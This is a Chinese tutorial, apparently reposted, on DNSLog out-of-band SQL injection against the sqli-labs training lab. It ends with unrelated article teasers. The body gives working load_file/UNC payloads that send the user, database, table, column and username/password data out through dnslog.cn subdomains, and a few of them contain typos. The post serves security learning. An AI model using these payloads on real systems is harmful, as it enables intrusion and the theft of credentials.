SQL注入之DNSLog外带注入

一、认识:

什么是dnslog呢?

DNS就是域名解析服务,把一个域名转换成对应的IP地址,转换完成之后,DNS服务器就会有一个日志记录本次转换的时间、域名、域名对应的ip、请求方的一些信息,这个日志就叫DNSLog。

但是想要查看DNSLog信息的人,必须是拥有DNS服务器权限的人,这就使的我们要是用dnslog注入方法的话,就需要搭建自己的一个dns服务器,成本相对较高。

所以在此就推荐两个平台,可以快速让我们使用dnslog外带注入

  1. ceye.io
  2. dnslog.cn

也可以使用BurpSuite同样可以实现相应功能。

二、利用场景

使用dnslog方法的场景非常苛刻

需要知道以下数据

  1. secure_file_priv=""  ,secure_file_priv必须是空

    1. secure_file_priv为null,load_file则不能加载文件。

    2. secure_file_priv为路径,可以读取路径中的文件;

    3. secure_file_priv为空,可以读取磁盘的目录;

  2. 服务器只能在windows下使用,因为需要使用到UNC路径

  3. 拥有root权限,因为有root权限后才能使用load_file()这个函数

    1. LOAD_FILE()函数可以加载本地文件系统中的文件,并将其作为字符串返回

三、环境的搭建

还是使用我们的sql-labs进行实验

首先查看mysql中secure_file_priv是否为空,如若不为空,则进入my.ini文件进行修改

进到my.ini文件中将secure_file_priv的值从null改为""
如果没有的话可以直接写入secure_file_priv=""之后重新启动mysql

1、查看secure_file_priv是否为空 

show variables like '%secu%';

2、进入my.ini修改

在my.ini中添加secure_file_priv=""

重启mysql

四、实现

此处我使用dnslog.cn获取一盒域名

1、先进行测试

以sql-labs的第8关的布尔盲注为例:

解释:我们先进测试,请求一下当前登录的用户;

1、load_file()函数用于从文件系统中读取文件内容并将其作为字符串返回,

注:四个\是因为斜杠有特殊含义,我们需要转义两个,user()是我们要请求的数据,最后一个是我们刚才获取的域名

2、然后使用concat()函数将数据拼接起来

3、相当于请求了一个UNC的地址就是这样一个数据\\user().ui9a1m.dnslog.cn这个主机下的/abc这个共享文件夹虽然不存在但是无所谓我们的目的是需要将user()数据获取,它会将数据解析到我们使用的dnslog.cn中它可以记录解析后的数据
4、这里为什么要用hex()呢因为user()中有一个@符它不支持所以我们将它转为16进制

?id=1' and load_file(concat('\\\\',hex(user()),'.ui9a1m.dnslog.cn/abc'))--+

发送请求,查看我们得到的信息

对16进制进行还原,可以看到得到了我们想要的数据

进行爆库

此处就不需要转16进制,直接请求表名

?id=1' and load_file(concat('\\\\',database(),'.ui9a1m.dnslog.cn/abc'))--+

得到库名:security

接下来我们进行爆表名

爆表名

注:因为使用group_concat()函数拼接时默认使用' , '进行拼接,dnslog无法解析,所以这里有两种方法可以解决

1、要么转为16进制,

2、要么使用separator "_"  使用下划线连接

?id=1'  and load_file(concat('\\\\',(select group_concat(table_name separator '_') from information_schema.tables where table_schema=database()),'.503l34.dnslog.cn/abc'))--+

很明显,我们要得到数据大概率在users表里,可以继续进行查询测试

爆字段

id=1' 20and load_file(concat('\\\\',(select group_concat(column_name separator '_') from information_schema.columns where table_schema=database() and table_name='users'),'.5qir98.dnslog.cn/abc'))--+

很明显,我们查对了,得到了想要的列名:username、password

那么知道了库名,表名,列名,接下来就可以查数据了

爆数据

id=1' and load_file(concat('\\\\' (select concat(username,'_',password) from security.users limit 0,1),'.nr4rzc.dnslog.cn/abc'))--+

注:在此处dnslog不能解析连接符'~',这里的我解决办法有两个;

1、对concat()函数进行16进制转换

id=1' and load_file(concat('\\\\' (select hex(concat(username,'_',password)) from security.users limit 0,1),'.nr4rzc.dnslog.cn/abc'))--+

2、或者将连接符换成'_'

在这里我两个都用了下是可以,上面仅展示一个

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/696195.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

汉诺塔问题—java详解(附源码)

来源及应用 相传在古印度圣庙中,有一种被称为汉诺塔(Hanoi)的游戏。该游戏是在一块铜板装置上,有三根杆(编号A、B、C),在A杆自下而上、由大到小按顺序放置64个金盘(如图1)。游戏的目标:把A杆上的金盘全部移到C杆上,并仍…

【Nacos】构建云原生应用的动态服务发现、配置管理和服务管理平台【企业级生产环境集群搭建应用】

基础描述 一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。Nacos 帮助您更敏捷和容易地构建、交付和…

猫头虎分享已解决Bug || Spring Error: Request method ‘POST‘ not supported

博主猫头虎的技术世界 🌟 欢迎来到猫头虎的博客 — 探索技术的无限可能! 专栏链接: 🔗 精选专栏: 《面试题大全》 — 面试准备的宝典!《IDEA开发秘籍》 — 提升你的IDEA技能!《100天精通鸿蒙》 …

海思3559 yolov5 wk模型部署笔记

文章目录 安装3559工具链编译opencv编译项目总结 安装3559工具链 将3559工具链copy到虚拟机上,并解压得到安装包 解压: tar -zxvf aarch64-himix100-linux.tgz解压后会得到安装包文件夹: 安装工具链: sudo ./aarch64-himix100…

代码随想录算法训练营第17天—二叉树06 | ● *654.最大二叉树 ● 617.合并二叉树 ● 700.二叉搜索树中的搜索 ● *98.验证二叉搜索树

*654.最大二叉树 题目链接/文章讲解:https://programmercarl.com/0654.%E6%9C%80%E5%A4%A7%E4%BA%8C%E5%8F%89%E6%A0%91.html 视频讲解:https://www.bilibili.com/video/BV1MG411G7ox 考点 前序遍历构建二叉树 我的思路 参考了力扣题目里的提示递归三要…

【大数据面试题】008 谈一谈 Flink资源如何配置

【大数据面试题】008 谈一谈 Flink 资源如何配置 并行度 Parallelism 概念作用Slot 概念作用如何设置TaskManager 任务管理器Flink submit 脚本 一步一个脚印,一天一道面试题 该文章有较多引用文章 https://zhuanlan.zhihu.com/p/572170629?utm_id0 并行度 Paralle…

Unity2023.1.19没有PBR Graph?

Unity2023.1.19没有PBR Graph? 关于Unity2023.1.19没有PBR graph的说法,我没看见管方给出的答案,百度则提到了Unity2020版之后Shader Graph的“全新更新”,之前也没太注意版本的区别,以后项目尽量都留心一下。 之前文章说过,孪生智慧项目推荐使用URP渲染管线,以上的截…

安装sklearn遇到ImportError: dlopen: cannot load any more object with static TLS

1.看https://blog.csdn.net/Go_ahead_forever/article/details/133755918 知不能 pip install sklearn,而是 pip install scikit-learn2.网上说调换import的顺序就能解决。 但是我不知道调换哪个,索性重新开了anaconda环境,一个个安装缺什么…

Stable Diffusion 绘画入门教程(webui)-ControlNet(线稿约束)

上篇文章介绍了openpose,本篇文章介绍下线稿约束,关于线稿约束有好几个处理器都属于此类型,但是有一些区别。 包含: 1、Canny(硬边缘):识别线条比较多比较细,一般用于更大程度得还原照片 2、ML…

在docker中运行vins-fusion

文章目录 VINS-fusion拉取镜像创建容器在vscode中运行代码运行效果VINS-fusion VINS-Fusion 是一个开源的实时多传感器状态估计库,主要由香港科技大学的沈邵劼教授领导的研究团队开发。它是 VINS-Mono(单目视觉惯性系统)的扩展,支持多种传感器组合,如双目、立体相机和IMU…

Spring Security 认证授权安全框架

Spring Security概述 1.什么是Spring Security? Spring Security是一个Java框架,用于保护应用程序的安全性。它提供了一套全面的安全解决方案,包括身份验证、授权、防止攻击等功能。Spring Security基于过滤器链的概念,可以轻松地集成到任…

指针笔试题(C语言进阶)

目录 前言 1、案例一 1.1 答案 1.2 解析 2、案例二 2.1 答案 2.2 解析 3、案例三 3.1 答案 3.2 解析 4、案例四 4.1 答案 4.2 解析 5、案例五 5.1 答案 5.2 解析 总结 前言 “纸上得来终觉浅,绝知此事要躬行”。本篇通过对指针实际案例的分析&…

Google重磅开源!Gemma 2B/7B小模型登场,6万亿Tokens喂饱,聊天编程两不误,LLaMA也黯然失色?

Google又有大动作! 近日,他们发布了Gemma 2B和7B两个开源AI模型,与大型封闭模型不同,它们更适合小型任务,如聊天和文本摘要。 这两个模型在训练过程中使用了6万亿个Tokens的数据,包括网页文档、代码和数学…

收单外包机构备案2023年回顾和2024年展望

孟凡富 本文原标题为聚合支付深度复盘与展望,首发于《支付百科》公众号! 收单外包服务机构在我国支付收单市场中占据着举足轻重的地位,其规模在政策引导和市场需求驱动下不断扩大。同时,随着行业自律管理体系的持续发展和完善&a…

文献速递:GAN医学影像合成--用生成对抗网络生成 3D TOF-MRA 体积和分割标签

文献速递:GAN医学影像合成–用生成对抗网络生成 3D TOF-MRA 体积和分割标签 01 文献速递介绍 深度学习算法在自然图像分析中的成功近年来已被应用于医学成像领域。深度学习方法已被用于自动化各种耗时的手动任务,如医学图像的分割和分类(G…

顶刊中很出彩的二元变量图

导师希望你发顶刊, 但你的图纸差点意思, 那么,你不妨试试这个, 二元变量图, 在顶刊中都很出彩哦! 本次,我们来以“降水量”和“NDVI”两个数据为例,绘制二元变量分析图,表达“降水量”和“NDVI”之间的关系。 什么是二元变量图 首先还是先解释下“二元变量图”。顾…

OpenCV中saturate_cast模板函数

在OpenCV中,saturate_cast是一个模板函数,用于正确地将一个数值从一种类型转换到另一种类型,同时确保结果在目标类型的有效范围内。这在图像处理中特别有用,比如当像素值在经过计算后可能超出其数据类型允许的范围时。saturate_ca…

-bash: /root/.ssh/authorized_keys: Read-only file system

问题背景 由于跳板机不支持 ssh-copy-id 命令&#xff0c;为了配置免密登录&#xff0c;考虑在服务器上手动使用 cat 命令写入跳板机公钥 cat <<EOL >> ~/.ssh/authorized_keys [Your public key] EOL但却出现了以下错误 -bash: /root/.ssh/authorized_keys: Re…

编程笔记 Golang基础 013 格式化输入输出

编程笔记 Golang基础 013 格式化输入输出 一、格式化输出1. fmt.Print系列函数2. Printf格式说明3. 格式化布尔类型 二、格式化输入1. fmt.Scan系列函数注意事项 三、练习小结 Go语言中的格式化输入和输出主要通过标准库 fmt 包来实现。主要是输出需要格式化。 一、格式化输出 …

扫盲贴:Svg动画和Canvas动画有什么区别

hello&#xff0c;我是贝格前端工场&#xff0c;网页中动画的实现有N种方式&#xff0c;比如css动画&#xff0c;js动画&#xff0c;svg动画&#xff0c;canvas动画等等&#xff0c;每一种动画都有对应的场景&#xff0c;本问重点介绍一下svg和canvas动画的异同点&#xff0c;欢…